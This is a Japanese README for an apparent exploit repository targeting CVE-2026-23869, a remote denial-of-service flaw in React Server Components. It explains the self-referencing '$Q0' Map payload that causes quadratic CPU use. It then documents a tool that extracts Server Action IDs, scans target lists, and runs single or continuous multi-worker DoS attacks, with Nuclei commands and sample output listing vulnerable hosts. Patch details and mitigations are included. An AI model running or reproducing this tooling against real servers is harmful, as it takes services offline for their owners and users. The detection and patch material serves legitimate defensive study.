
CVE-2026-23869向け自動エクスプロイトツール。React Server ComponentsにおけるリモートDoS脆弱性です。PoC、Nucleiテンプレート、検出および悪用のためのスキャンスクリプトを含みます。
React Flight プロトコルを介した認証不要のリモートサービス妨害(DoS)
サーバーコンポーネントの Map 逆シリアル化における二次関数的 CPU 消費
概要 • 仕組み • ツール • インストール • 使用方法 • Nuclei • 対策 • 免責事項
| フィールド | 詳細 |
|---|---|
| CVE ID | CVE-2026-23869 |
| 別名 | React2DoS |
| CVSS スコア | 7.5(高) |
| CVSS ベクター | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H |
| CWE | CWE-400(リソース消費の制御不能) |
| 種別 | 認証不要のリモートサービス妨害(DoS) |
| 発見者 | Yohann Sillam(Imperva Threat Research) |
| 影響を受けるバージョン | react-server-dom-webpack / parcel / turbopack ≤ 19.2.4 |
| 修正済みバージョン | React 19.2.5+ / Next.js 15.5.15+ / 16.2.3+ |
React Server Components の Flight プロトコルの逆シリアル化に、重大なサービス妨害(DoS)の脆弱性が存在します。認証されていない攻撃者が、Next.js App Router の Server Action エンドポイントに対して単一の細工された HTTP リクエストを送信することで、二次関数的 O(n²) の CPU 消費を引き起こし、サーバーを数分間ロックさせることができます。
consumed フラグの欠落React Flight プロトコルは、データ型をシリアル化するために特別なマーカーを使用します。$Q は Map オブジェクトを表します。サーバーが自己参照する $Q0 マーカーを含むペイロードを受信すると:
Payload: [ [1,1], [1,1], ...(n 個の有効なエントリ)..., "$Q0", "$Q0", ...(n 個の参照)... ]
各 $Q0 は、すべての n 個の有効なエントリを反復処理する new Map() コンストラクタをトリガーします。Map コンストラクタは(エントリが不正な形式のため)エラーをスローしますが、重大なバグは次のとおりです: 失敗時に consumed フラグが設定されないことです。
つまり、次の $Q0 が同じ Map をゼロから再計算するため、O(n²) の複雑さが発生します:
n 個の有効なエントリ × n 個の $Q0 参照 = n² 回の Map コンストラクタ呼び出し
例: 65,000 × 65,000 = 4,225,000,000 回の操作
結果: 単一のリクエストで CPU を 5〜10 分以上ロック
┌──────────┐ POST / (multipart/form-data) ┌──────────────────┐
│ 攻撃者 │ ──────────────────────────────────────▶ │ Next.js サーバー │
│ │ ヘッダー: Next-Action: <action_id> │ │
│ │ ボディ: [[1,1]...,"$Q0","$Q0"...] │ ██████████ CPU │
│ │ │ 100% ロック │
└──────────┘ │ 約 5〜10 分間 │
└──────────────────┘
// ReactFlightReplyServer.js — パッチ適用前
case "Q": {
const data = getOutlinedModel(response, id, obj);
return new Map(data); // ← 失敗するが consumed = true を設定しない
// 次の $Q0 がゼロから再計算する
}
// ReactFlightReplyServer.js — パッチ適用後(React 19.2.5+)
case "Q": {
const data = getOutlinedModel(response, id, obj);
obj.consumed = true; // ← 修正: コンストラクタ実行前にフラグを設定
return new Map(data); // 再計算の繰り返しを防止
}
| ファイル | 説明 |
|---|---|
poc.py | 4 フェーズのパイプライン(偵察 → 抽出 → 検出 → 悪用)を備えた全自動エクスプロイトツール |
CVE-2026-23869.yaml |
# リポジトリをクローン
git clone https://github.com/cybertechajju/CVE-2026-23869-Exploit.git
cd CVE-2026-23869-Exploit
# Python 依存関係をインストール
pip install requests
# スクリプトを実行可能にする
chmod +x poc.py scan.sh extract-action-ids.sh
# Nuclei テンプレートスキャン用
go install github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest
# ライブターゲットフィルタリング用
go install github.com/projectdiscovery/httpx/cmd/httpx@latest
URL を指定するだけで、ツールがすべてを自動的に実行します:
python3 poc.py -u https://target.com
実行内容:
# ドメイン/IP のリストをスキャン
python3 poc.py -L targets.txt
# JSON レポート出力付き
python3 poc.py -L targets.txt -o results.json
# 安全な検出のみ
python3 poc.py -u https://target.com -a <ACTION_ID> --detect
# 単発エクスプロイト
python3 poc.py -u https://target.com -a <ACTION_ID> --single
# 継続的 DoS(10 ワーカー)
python3 poc.py -u https://target.com -a <ACTION_ID> --exploit -w 10
python3 poc.py -u https://target.com --extract
Options:
-u, --url URL ターゲット URL(単一ターゲット)
-L, --list FILE ターゲット URL/IP のファイル(1 行に 1 つ)
-a, --action-id ID Server Action ID(自動抽出をスキップ)
--detect 検出のみ — 安全で非破壊的(デフォルト)
--single 検出後の単発エクスプロイト
--exploit 検出後の継続的 DoS
--extract Action ID のみを抽出
-l, --length N ペイロードエントリ数(デフォルト: 130000)
-w, --workers N 同時ワーカー数(デフォルト: 5)
-d, --delay SEC リクエスト間の遅延(デフォルト: 1.0)
-o, --output FILE JSON レポートを保存
-t, --threads N リストスキャン時の同時ターゲット数(デフォルト: 3)
元の PoC 構文も引き続き使用できます:
python3 poc.py <ACTION_ID> <URL>
# 単一ターゲット
nuclei -t ./CVE-2026-23869.yaml -u https://target.com -itags dos
# 複数ターゲット
nuclei -t ./CVE-2026-23869.yaml -l targets.txt -itags dos
# クリーンな出力(脆弱な結果のみ)
nuclei -t ./CVE-2026-23869.yaml -l targets.txt -itags dos -silent
注:
-itags dosフラグは必須です。Nuclei は安全性のため、デフォルトで DoS テンプレートを除外するためです。
リクエスト 1 (GET /) → Next.js のフィンガープリント(ヘッダー + HTML マーカー)
リクエスト 2 (GET /) → createServerReference() から Server Action ID を抽出
リクエスト 3 (POST /) → ベースラインタイミングリクエスト(無害なペイロード)
リクエスト 4 (POST /) → エクスプロイトプローブ(250 有効 + 250 $Q0 エントリ)
└─ 応答時間 ≥ 3 秒 → 脆弱
# httpx を実行 → ライブターゲットをフィルタリング → nuclei スキャン → 結果
./scan.sh
# またはカスタムファイルを指定
./scan.sh targets1.txt targets2.txt
このツールは、タイミングベースの検出を使用して、脆弱なサーバーを安全に識別します:
以下の場合に検出が確定します:
$Q マーカーを含む異常に大きな multipart/form-data ボディを持つリクエストをブロックする/ への POST リクエストと相関する高い CPU 使用率をアラートするCVE-2026-23869-Exploit/
├── README.md # このファイル
├── poc.py # 全自動 PoC エクスプロイトツール
├── CVE-2026-23869.yaml # Nuclei 検出テンプレート
├── scan.sh # httpx + nuclei 自動スキャナー
└── extract-action-ids.sh # スタンドアロンの Action ID 抽出ツール
╔══════════════════════════════════════════════════╗
║ フェーズ 1 ▸ 偵察 ║
╚══════════════════════════════════════════════════╝
✓ Next.js を検出(Next.js)
✓ ビルド ID: abc123def456
✓ App Router: Server Actions を検出
╔══════════════════════════════════════════════════╗
║ フェーズ 2 ▸ ACTION ID 抽出 ║
╚══════════════════════════════════════════════════╝
✓ 3 つの Action ID を検出:
1. a1b2c3d4e5f6789012345678901234567890abcd
2. b2c3d4e5f67890123456789012345678901234ef
╔══════════════════════════════════════════════════╗
║ フェーズ 3 ▸ 脆弱性検出 ║
╚══════════════════════════════════════════════════╝
[1/2] ベースライン: 0.142 秒
[2/2] プローブ: 7.891 秒(ベースラインの 55.6 倍)
██ 脆弱 — CVE-2026-23869 確認 ██
╔══════════════════════════════════════════════════════════════╗
║ バッチスキャン結果 ║
╚══════════════════════════════════════════════════════════════╝
スキャン対象 : 45.2 秒で 150 ターゲット
脆弱 : 3
修正済み : 12
スキップ : 135
🔴 脆弱なターゲット
─────────────────────────────────────────────────
# ターゲット プローブ 比率
1 vulnerable-app.com 7.89 秒 55.6 倍
2 staging.example.com 4.21 秒 28.1 倍
3 dev.testsite.org 12.33 秒 82.2 倍
⚠️ 許可されたセキュリティテスト専用
このツールは教育目的および許可されたペネトレーションテストのためにのみ提供されています。所有していない、またはテストする明示的な許可を得ていないターゲットに対するこのツールの不正使用は違法であり、コンピュータ詐欺法(CFAA、CMA など)に違反する可能性があります。
著者は、このツールによって引き起こされた誤用や損害について責任を負いません。システムをテストする前に、必ず適切な書面による許可を取得してください。
これが役に立った場合は、⭐ を付けることを検討してください
| フローベースのオーケストレーションを備えた Nuclei 検出テンプレート |
scan.sh | ラッパースクリプト: httpx ライブフィルタリング + nuclei スキャン |
extract-action-ids.sh | スタンドアロンの Server Action ID 抽出ツール |
| メトリクス | 脆弱 | 修正済み |
|---|
| ベースライン(無害なリクエスト) | ~0.1〜0.5 秒 | ~0.1〜0.5 秒 |
| プローブ(500 エントリ) | 3〜10 秒以上 | ~0.1〜0.5 秒 |
| 比率(プローブ/ベースライン) | >5 倍 | ~1 倍 |
| フルペイロード(130K エントリ) | 5〜10 分以上 | ~0.1〜0.5 秒 |
| パッケージ | 脆弱 | 修正済み |
|---|
react-server-dom-webpack | ≤ 19.2.4 | 19.2.5+ |
react-server-dom-parcel | ≤ 19.2.4 | 19.2.5+ |
react-server-dom-turbopack | ≤ 19.2.4 | 19.2.5+ |
| Next.js | < 15.5.15 | 15.5.15+ |
| Next.js 16.x | < 16.2.3 | 16.2.3+ |